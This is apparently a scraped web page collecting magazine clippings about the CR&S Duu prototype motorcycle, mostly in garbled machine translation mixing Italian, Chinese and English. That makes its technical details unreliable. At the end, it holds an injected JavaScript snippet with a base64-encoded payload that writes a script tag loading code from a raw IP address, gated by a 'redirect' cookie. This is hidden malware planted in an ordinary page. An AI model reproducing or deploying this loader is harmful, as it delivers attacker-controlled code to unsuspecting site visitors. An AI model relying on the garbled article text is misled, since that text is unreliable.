facendo tesoro dell’esperienza Vun. Il cuore del progetto È il motore X-Wedge, che ha il requisito fondamentale di non essere un’imitazione del Twin Cam Harley-Davidson. Il V2 a 56° S&S È altrettanto massiccio, ma piÀ¹
moderno e potente, con i suoi 2.000 CC, i tre alberi a camme, l’iniezione elettronica. Àˆ capace di 160
Nm di coppia massima poco oltre i 3.000 giri. Roba da ribaltamento, perÀ² omologato Euro 3. E considerando che la Duu dovrebbe pesare “solo” 250 chili, come una Harley Sportster 883
Fate caso a come ricorrono i numeri: due cilindri, due litri, due posti (希望). E il grosso tubo che caratterizza il telaio a struttura mista in acciaio. I primi sketch sono dissimulati dalle sovrastrutture in optional, ma È lampante che il bello della Duu risplenda nella sua semplicitÀ brutale. Nuda e cruda, studiata per essere guidata di testa e senza troppo sforzo, ma concepita per colpire alla bocca dello stomaco. Ancora
una volta forma, funzione ed emozione si rincorrono in un gioco di equilibri. Come la Vun, anche la Duu È una storia di libidine destinata a motociclisti adulti, evoluti ed esigenti. Che magari vogliono tornare a innamorarsi di una moto emozionante. Lo diceva il filosofo Gilles Deleuze, che «non c’È rivoluzione senza investimento libidinale». E senza, nemmeno si costruiscono moto uniche, con il supporto di un tasso di creativitÀ che le grandi Case non si possono piÀ¹ permettere, soffocate dalla cautela e dalle logiche di marketing. Àˆ una scommessa affascinante, tutta da giocare, ma alla portata. Anche se È ancora a livello
di prototipo, si sa giÀ che il prezzo della Duu dovrebbe oscillare fra i 19 e i 20mila euro.
Poco piÀ¹ di una Ducati Streetfighter S, in linea con la V-Rod Muscle, meno di una V-Max
e di una Harley-Davidson CVO.
Presentazione del prototipo all’Eicma di quest’anno, per vedere la moto definitiva al Salone di Milano del 2010. Produzione dalla stagione successiva: «Non puntiamo ai grandi numeri, siamo una piccola realtÀ con le idee
chiare» conclude Crepaldi. «Il traguardo di cento moto all’anno significherebbe raggiungere il punto di pareggio e permetterci un margine di utili, da reinvestire nello sviluppo della prossima motocicletta CR&S». Tradotto
liberamente in milanese: Gh’È minga de Duu senza Tri.

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MAX 03 2010

MIRACOLO A MILANO

Si chiama CR&S ed è una piccola azienda dell’hinterland con una grande passione.
他的摩托车 “必须是一些特别的东西”, 他们都是手工建造和他们每个人从不同. 这是他最新的宝石: 裸, 习惯, 跑车? Un potutto.

一位不愿具名的棚子就在农村镇外 . 这是一个短语, “tatuatasu ognuna delle moto che escono da lì “他们说,在米兰, cont il coeur e cont’i man”. 翻译成意大利语中的意思 “在米兰取得, 与心脏和手”, l’essenza e la filosofia della CR&小号, 一个小公司罗伯托Crepaldi内脏激情的两个轮子成立. Crepaldi有明确的想法: 由CR制成每个运动&s必须是一些特别的东西,并与其他人不同. 由于他的最新创作. 带上 (“应有”) 顾名思义是CR的历史很短的第二运动&小号, 它有两个汽缸庞大和爆炸引擎 1.916 CC和逃逸到传统定义. 裸, 跑车, 习惯, 街头霸王? Un potutte queste cose insieme, ma la Duu è prima di tutto un’esclusiva opera d’arte fatta di metalli pregiati e materiali ricercati plasmati secondo forme che definire originali e affascinanti è quasi riduttivo. 此外,每个客户可以通过选择施工定制自己的角色, 底盘和发动机制备级别的组件. 起步价 20.000 欧元, 但是,除了这些钱,你必须有耐心, 因为CR&S被手构成,一个接一个.

Stefano Bariggia

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AMD USA 01 2010

CR&S Motorcycles used the ‘EICMAmotorcycle show in Milan, 意大利, 首次亮相其最新的原型模型 – 的X楔供电DUU.
最初被示为概念自行车, 当DUU, 由多纳托Cannatello设计, 进入满负荷生产, 每辆自行车将被手工打造具有一系列技术和美学选项的客户选择. 可用的选项将包括一个单一的和/或双座基部模块. “我们相信,这欧元体育巡洋舰已是一种相当于美国向凯旋速度三重潜力, 但与意大利风格,” 说罗伯托Crepaldi, 在CR董事总经理&小号. “DUU是这个模型正确的名称 – it’s a V-twin, 在CR的第二构件&S系列, 它有一个两升发动机, 将重 200 公斤, 并且将携带两个人. 还有什么能我们卡利它?! “Production will start early in 2011.We’ve already begun road testing the development bike, but we’re ali really anxious to get some feedback from the public.

 

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国际经销商新闻 01 2010

Roberto Crepaldi’s latest project, 该DUU, 被空气冷却的大双各地的内置&S Cycle’s American-made 1916cc/117ci 60 度V型双缸发动机.

示为EICMA概念自行车, Crepaldi说DUU将是一个模块化建造自行车, 与他希望在€20,000底价出让客户配置选项, 以每年几十台生产量, and first deliveries targeted for 2011

 

 

 

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低骑 11 2009

该 2011 这似乎是在这里.

现代主义的浪潮使得飞塞蒂莫米拉内塞的小房子大. CR&S già si distingue per l’originalità della propria streetfighter da misto stretto e per l’unicità di ogni esemplare.

单的逻辑演进, 必要和乐趣, 这将是双. 这似乎 “独奏” 概念车,但铲车DUU已经走过几公里; 测试验证异常的技术选择. 双X-楔是它跳动的心脏, 联合国V型双缸 “空气” 几乎2升增强搜索小号&S以上哈雷戴维森的经典方案. L’angolo dei cilindri di 56 度当然取消振动; 与在曲轴箱3个凸轮轴和齿形带分布确保最佳的几何形状, 经由短杆和液压挺杆. 载是机械噪音, rendendo possibile l’omologazione Euro 3 与注射和催化剂. 不锈钢排气通过排气QD集中群众,允许横向倾角大于研究 40 度. 这个非常大的双胞胎的潜力,甚至在配置上显着 “代码”: 至少 100 马 130 扭矩牛顿/米, ma l’erogazione è piena a ogni regime. 更改分离 5 该 6 关系和主链完成插入在原始帧中的动力传动系. 从转向头钢管的重要组成部分,包含了润滑剂; 它认为美丽的侧板, ricavate dal pieno nell’atelier Rizoma, 其所通过横向管状区段的锚定装置; 单面摇臂. 所有建议CR&S nascono con l’obiettivo di garantire piacere di guida e la ciclistica della Duu, un distillato di Made in Italy d’estrazione sportiva, 不会让你失望 . 细节是美丽的, 开始与由rizoma和从模块化车轮由所述转向板; Brembo刹车和质量的悬浮液允许足够的调整. 准确性和响应敏捷承诺试点 , 极端的褶皱和处理, senza cadere nell’estremo opposto di quote troppo “神经”. 约尺寸接近一个XR1200的体重 237 公斤干, grazie all’allungo infinito del motore dovrebbe risultare divertente, 容易和恼怒. 这些特质都加入了模块化理念,根据不同的驾驶风格与生活配置摩托车, 组件质量, 工艺与工业保障: 容易预见解决此街头霸王切身利益. 许多部件CR的&S的定制由多纳托Cannatello旨在通过像根茎意大利公司. 创意及配件 “定制” 应该代表一个附加的加赞成DUU的. 即使是固定价格有望成为有趣, 大约 20.000 欧元: 接近于VRSC的和新的V-Max以下… 多久前 2011?

 

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有些盖致力于DUU

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RIDERS

携带, 但不黑桃

在20000欧元的起拍价在一年内出售, DUU查看上次米兰展作为一个概念 (我们已经描述号车手的预览 22) 这是近年来为数不多的真正原创的提案之一.
米兰CR&s表示孔是相同的轻量级单缸VUN: 罗伯托Crepaldi, 乔治·萨尔蒂和约翰Cabassi, 企业家之前,所有这三个车手, 他们都集中在一个未开发的利基,但有趣. 该DUU是小编专门制作了, 模块化和高度可定制, 与同盟法国和汉美式和欧式风格的独家内容, 但在成本的一小部分提供. 引线, 2个方言meneghino, 因为汽缸有两个和位移 (1.916 此) 这是未来两升, 为什么, 希望, 自行车PUE是在两个地方,而不是作为单座VUN. 这马克西街头霸王56,汇编°X-楔美国S的V2&小号, 强大的怪物,其 16 KGM最大扭矩仅仅三千转. 框架是由抛光的不锈钢的: 一个大的梁,也可作为汽油的容器, 与铝侧板保持后摆臂 (总是大的弯曲钢管) 和油箱亦持有鞍.
设计由多纳托Cannatello签署, 谁工作了艾普瑞利亚比摩塔, 它已在发动机的正下方卸载, 它隐藏所有的桥墩,并通过添加创建易于编辑极简线, 或删除, 一组配件 (包括贮存上述裙撑或容器) 功能和美学附录. 鞍可以在一个或两个地方,有头灯和表面光洁度不同的解决方案. 尽管大引擎, 自行车是在同类产品共有紧凑,重量高达哈雷的Sportster 883, 因为DUU由被驱动,不仅财大气粗. 一个雄心勃勃的项目, 并非没有阻力的克服, 作为其CR的经验和声誉&小号. 但必须指出,这一现实组织, 小, 像一个真正的摩托车行业. (毛里齐奥GISSI)

 

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两个轮子

 

大双子米兰!

双单声道后: da una piccola realtà artigianale è nata questa straripante due litri dallo stile unico
di Riccardo Capacchione

Fada su a Milàn, cont il coeur e cont i man’». 我们翻译的非米兰: 的“Made in米兰, 与心脏和手“, Ë’ la frase scritta sulle moto costruite dalla CR&小号塞蒂莫米兰. Fino ad oggi l’unico modello in catalogo era la Vun, 苗条的单一现在有一个姐姐, 不是所有的流线型, 它呼吁DUU. 在米兰方言VUN指“一个”为圆柱体, 一个地方,“独一无二”. 引线, l’avrete capito, 而是想说“两节”为两个汽缸, due posti e… 只, 她. 在CR的客户&小号, 其实, possono ordinare la propria moto scegliendo l’allestimento, 机箱组件, 电机中的着色的和当然的制备. 这就是为什么价格变化很大, 从基部开始 20.000 欧元. 在CR模型背后的设计理念&S是简单字正腔圆, 少来实现: 自行车必须是必不可少的, 整个发动机和底盘的视线, 但它也必须是一个风格, 而2: 该制造商和客户的那, 如前所述, 他积极参与创立了自己的运动. SE L’ELA DUU? Gia’, cos’è la Duu? 这是一个强大的双缸逃脱正常的定义: 定制裸, 跑车, 街头霸王? 很难把一个特定类型. 最好, 简单地, 描述的技术特点, 真正独特的. 该底盘由CR构造&S和由上部管状巨合金钢的, 让人想起由瑞士专家弗里茨他用的架构; chi ha un podi primavere alle spalle ricorderà , 除其他, 他炫耀的精彩文森特 1967. 大主框架管DUU也执行燃料箱的功能, 在CR项目的策略的例子&小号, 这趋向于每个部件的最大积分和简化. 在后部的结构是通过光灿烂合金板封闭, 从“全”锻造获得的切割器. Il forcellone monobraccio in traliccio di tubi d’acciaio é accoppiato all’ammortizzatore laterale. 车轮, 其他独家CR&小号, 他们是出色的,特别是在后, 悬臂安装有一个单一的中央螺母和在品种的不同的设计. 玻璃纤维上层建筑很少,而且必不可少; davvero inconsueta la soluzione per il faro anteriore chenon c’é, 通过容纳在“鲨鱼腮”在叉的两侧的两个侧光学组件替换, 让人想起VUN的风格特质. 这些汽车可以DUU, 像我们测试的一个, ma é previsto l’allestimento a due e quello da viaggio, 用袋和专用配件. MAMMA CHE POMPON E! Il propulsore S&S X-Wedge domina la scena. Le due colossali torri aiettate dei cilindri divergono tra loro di 56,25° e ospitano all’interno i pistoni da 105 mm di alesaggio con corsa -lunga-di 111 mm. Lo schema riprende quello dei propulsori Harley-Davidson, per i quali la S&S produce da sempre parti speciali, ma in questo caso si tratta di un’unità totalmente nuova. Le testate ospitano due grandi valvole (50,8 mm all’aspirazione, 40,64 mm allo scarico), parallele tra loro e mosse da bilancieri e aste che poggiano sui tre alberi a camme, due di scarico e uno in comune di aspirazione, situati nel basamento. Il cambio, separato, é un Baker a cinque marce. L’alimentazione é a iniezione elettronica, mentre lo scarico catalizzato, costruito su specifiche CR&小号, é sotto al motore, con due fantastiche «bocche da fuoco» laterali. La trasmissione primaria a catena riprende lo schema Harley ed é sul lato sinistro. COPPIA DA RIMORCHIATORE Abbiamo insistito parecchio per provare il prototipo, ancora da mettere a punto, della Duu, ma ne é valsa la pena. Il bicilindrico, privo di contralberi, pulsa, tuona, ma sopratutto spinge con una forza impressionante. Il pneumatico posteriore geme sotto la scarica di kgm, la Duu balza in avanti e il pilota é bene che si aggrappi solidamente al manubrio. Un rialzo più marcato della sella aiuterebbe a scaricare parte della spinta, diminuendo lo sforzo sulle braccia. Il peso totale non é eccessivo, in relazione alla cilindrata, ed é ben distribuito, il che rende la Duu più maneggevole di quanto ci si aspetti. I pochi chilometri in sella ci hanno dato solo un’idea vaga delle prestazioni di questa moto che si prospettano esaltanti, non vediamo l’ora di spremerla per bene,.. «Stay tuned», vi terremo informati! 功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}